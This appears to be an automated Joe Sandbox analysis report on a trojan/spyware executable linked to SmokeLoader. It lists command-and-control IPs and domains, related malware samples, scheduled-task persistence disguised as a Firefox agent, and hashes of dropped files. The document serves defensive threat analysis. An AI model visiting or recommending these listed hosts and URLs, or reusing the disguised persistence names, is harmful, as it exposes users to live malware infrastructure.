116.58.10.60	nwgrus.ru	Pakistan	17563	NEXLINX-AS-APAutonomousSystemNumberforNexlinxPK	true
190.98.23.157	unknown	Suriname	27775	TelecommunicationcompanySuriname-TeleSurSR	true
23.145.40.164	unknown	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
23.145.40.162	calvinandhalls.com	Reserved	22631	SURFAIRWIRELESS-IN-01US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518333
Start date and time:	2024-09-25 16:00:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KTh1gQlT9a.exe renamed because original name is a hash value
Original Sample Name:	6d9b8ff6442e3c42a7ad0e1238960057.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@61/15@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 140 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.114.59.183, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: KTh1gQlT9a.exe

Simulations

Behavior and APIs

Time	Type	Description
10:01:20	API Interceptor	213901x Sleep call for process: explorer.exe modified
10:02:34	API Interceptor	14x Sleep call for process: WMIC.exe modified
16:01:25	Task Scheduler	Run new task: Firefox Default Browser Agent B0CDC074D3C7ED7D path: C:\Users\user\AppData\Roaming\esjbbri
16:02:19	Task Scheduler	Run new task: Firefox Default Browser Agent 4C1107658B81A6D6 path: C:\Users\user\AppData\Roaming\uejbbri

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
116.58.10.60	7zaC3J8wBV.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	100xmargin.com/tmp/index.php
	uue9O7WXRA.exe	Get hash	malicious	SmokeLoader	Browse	gebeus.ru/tmp/index.php
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	bipto.org/tmp/index.php
190.98.23.157	file.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	mzxn.ru/tmp/index.php
	wsr3iUW0I0.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer	Browse	sajdfue.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
23.145.40.164	file.exe	Get hash	malicious	SmokeLoader	Browse
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse
	6NlY2E3Wqi.exe	Get hash	malicious	SmokeLoader	Browse
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse
	C1APU2jz2B.exe	Get hash	malicious	SmokeLoader	Browse
	UvrMJYKtES.exe	Get hash	malicious	SmokeLoader	Browse
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse
23.145.40.162	file.exe	Get hash	malicious	SmokeLoader	Browse
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse
	j1NeIT4ojp.exe	Get hash	malicious	SmokeLoader	Browse
	QxEATXQDIa.exe	Get hash	malicious	SmokeLoader	Browse
	UICbFTrVH4.exe	Get hash	malicious	SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nwgrus.ru	file.exe	Get hash	malicious	SmokeLoader	Browse	190.13.174.94
	Cjmw6m68OV.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	file.exe	Get hash	malicious	SmokeLoader	Browse	185.18.245.58
	file.exe	Get hash	malicious	SmokeLoader	Browse	93.118.137.82
	OcH6iVxcMe.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.133
	file.exe	Get hash	malicious	SmokeLoader	Browse	119.204.11.2
	file.exe	Get hash	malicious	SmokeLoader	Browse	190.218.32.149
	file.exe	Get hash	malicious	SmokeLoader	Browse	183.100.39.16
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	62.150.232.50
	file.exe	Get hash	malicious	SmokeLoader	Browse	186.233.231.45
calvinandhalls.com	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	j1NeIT4ojp.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	QxEATXQDIa.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	UICbFTrVH4.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
bg.microsoft.map.fastly.net	https://texicoschools-my.sharepoint.com/:f:/p/bhadley/EsaMKJ-X61dEm1tZEaws2DMBSjLuzfhGBl4pu2aaho1XiQ?e=fJogeV	Get hash	malicious	Unknown	Browse	199.232.214.172
	172726980749816c49da3d830f60283a5a8c1eb734c1073708bb8560faf023d1eb70975126808.dat-decoded.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://mir-belting.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://odo1s.risongeye.com/oTUk/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	https://www.google.cf/amp/%E2%80%8BjuCGrUR%E2%80%8B.%E2%80%8Bs%C2%ADun%C2%ADb%C2%ADu%C2%ADrs%C2%ADt%C2%ADsh%C2%ADe%C2%ADlti%C2%ADes%C2%AD.c%C2%ADo%C2%ADm%E2%80%8B	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	KeyFormed.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.214.172
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelecommunicationcompanySuriname-TeleSurSR	S1WVSiZOLX.elf	Get hash	malicious	Mirai, Moobot	Browse	200.2.160.102
	file.exe	Get hash	malicious	SmokeLoader	Browse	190.98.23.157
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	190.98.23.157
	botx.mips.elf	Get hash	malicious	Mirai	Browse	186.179.165.73
	6IMo1kM9CC.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	190.98.23.157
	x86.elf	Get hash	malicious	Mirai	Browse	186.179.177.66
	nxz1JLFrc3.elf	Get hash	malicious	Mirai	Browse	186.179.177.51
	8DR4MV2b0i.elf	Get hash	malicious	Mirai	Browse	186.179.177.16
	rhdbGGdfoq.elf	Get hash	malicious	Mirai	Browse	200.2.160.107
	x8bQ5T4284.elf	Get hash	malicious	Unknown	Browse	186.179.177.13
NEXLINX-AS-APAutonomousSystemNumberforNexlinxPK	7zaC3J8wBV.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	116.58.10.60
	uue9O7WXRA.exe	Get hash	malicious	SmokeLoader	Browse	116.58.10.60
	y7cm9CKSN9.elf	Get hash	malicious	Mirai	Browse	116.58.43.103
	yJgVAg26w0.elf	Get hash	malicious	Mirai	Browse	116.58.43.106
	7ZEAQv0SZ6.elf	Get hash	malicious	Mirai, Moobot	Browse	202.59.68.26
	7048CflwYY.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	116.58.10.59
	a6lzHWp4pa.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	116.58.10.60
	2.exe	Get hash	malicious	SmokeLoader	Browse	116.58.10.60
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	202.59.68.69
	kH5MfuKUfl.elf	Get hash	malicious	Mirai	Browse	202.59.81.35
SURFAIRWIRELESS-IN-01US	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	6NlY2E3Wqi.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	C1APU2jz2B.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UvrMJYKtES.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
SURFAIRWIRELESS-IN-01US	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	6NlY2E3Wqi.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	C1APU2jz2B.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UvrMJYKtES.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	YPDi0gRMHU.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	CNpQfI8eIT.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	6NlY2E3Wqi.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	RWcyVDbMGQ.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	C1APU2jz2B.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UvrMJYKtES.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	78XCPpouJs.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
a0e9f5d64349fb13191bc781f81f42e1	ptgl503.exe	Get hash	malicious	LummaC	Browse	23.145.40.162
	Suselx1.exe	Get hash	malicious	LummaC	Browse	23.145.40.162
	gkqg90.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	009.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	ir57.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	ueu7.exe	Get hash	malicious	LummaC	Browse	23.145.40.162
	opqg.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	Info.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	Res.ps1	Get hash	malicious	LummaC	Browse	23.145.40.162
	0x000e00000001da78-93.exe	Get hash	malicious	LummaC	Browse	23.145.40.162

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\uejbbri	file.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\B575.exe	file.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\E647.exe	file.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\5FEB.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5FEB.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6461.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\69D1.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6B0B.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6B89.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6D5F.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6F83.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7020.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B575.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	78336
Entropy (8bit):	6.404330124931981
Encrypted:	false
SSDEEP:	1536:/JI4z5y6VGZRohUx4r1u8zC4hMM4WiXD4:/JykFC4WJr
MD5:	12AD2C78F5EB326820444DCFE9DFA683
SHA1:	F1B3A16E65CEB78EF67A0B896C65B6BFE58DABEA
SHA-256:	A6F7D8211414EF77E92730DB874BABF8F200B07C5AA194A71FA00F2C8BE5BDE7
SHA-512:	E63A638890FF42626D2E91E4F34205CCC6F8F13E88F5C7E0B7982BD1C18F58BD18CAA35A717F97C9B37E8304327ED35350A173BD9583EC0C396CB724AF5070AF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v....................................b......b......b......Rich............PE..d...b..f.........."..........>.................@.............................p............`..................................................(...............P...............`.......................................................................................text...t........................... ..`.rdata...&.......(..................@..@.data...h....@......................@....pdata.......P......."..............@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E647.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417280
Entropy (8bit):	6.850109840048764
Encrypted:	false
SSDEEP:	6144:qg+Ov/uYh8vkotYJjh+qCeNKkzXlGIXhh1/pYgzquE6Y2T3:yOv9h8vF8+qekzEClYhu1YA
MD5:	1A29ED2D1AE240EC1D6F50DCC960BAA3
SHA1:	CAF7120A216A3A39BEE558A6A660F1FFC214A712
SHA-256:	2E4015F84A9A6D9C22EF65ACC66A3CF55C2CABC2D7A6F32B96297CA7D0F56EA4
SHA-512:	B5ABBB5ED0431F80E429849C4B45CE1A35A2D123E63520D8863A9817B6A599CC20A2B433B59162E48F546B0D335F16B717A2BEF70F207D3195D5955E70A51BAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..A.........`......`.)./..`...s....$..........`......`.-....`.*....Rich...........................PE..L...Kt.e............................S8............@..................................5..........................................d.......P...........................0...............................0...@...............0............................text..."........................... ..`.rdata..x...........................@..@.data............^..................@....rsrc...P............X..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\esjbbri

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	418304
Entropy (8bit):	6.853098055766101
Encrypted:	false
SSDEEP:	6144:lwpk63+zRADFXmigaB0r9v1FkJNdj4E5nkJv23J7quw2T6:+pkQ+zRAhXmiLQ9vmaElkJv2YuwJ
MD5:	6D9B8FF6442E3C42A7AD0E1238960057
SHA1:	FAB711B446C2CC55F97C7A5AFAA9F9833E01A0EA
SHA-256:	A641AF0462259586CF10B8867653E163F73B6066106455605643B08AB829AC77
SHA-512:	DC71917D187F65526AD9218D1DB79D83752DF9017D72EF5AFC5607567A4E3B20E3AC77D5C765FCCE7F9F18CE8524BED0181DB09028A29B832E1928579EE3CE98
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M..A.........f......f.).)..f...u....$..........f......f.-....f.*....Rich...........................PE..L......e.............................7............@.................................X...........................................d...................................P...............................P...@...............(............................text............................... ..`.rdata..^...........................@..@.data............^..................@....rsrc................\..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\esjbbri:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\etbbahg

Download File

Process:	C:\Windows\explorer.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	290443
Entropy (8bit):	7.999440393337273
Encrypted:	true
SSDEEP:	6144:Qz0fL6VSYDpmMT0nVg4b3kNJUlNXuN4sK1+U4x5rr7GEiuRdEUw:Qz0DW7B+Vg4QNJUzXueQ9r7tnSUw
MD5:	44C873B7F02FED2FD5FE488632916CBA
SHA1:	973C068E2E68C410DAEACF26B34E3546647BAA3E
SHA-256:	B55DB18169B00DEE9FCAA99414117DFA088BC45EC27FA82EA18F34D1BB5E290F
SHA-512:	B6C8EE1D692DB73C3CEDDCB8FE92E3DAF82504469C399820ABF2777DC180685657E77EAB555A98CE4A3980FB5A8C528D3BF69F09C9CBA3C6849DAEB6621F0648
Malicious:	false
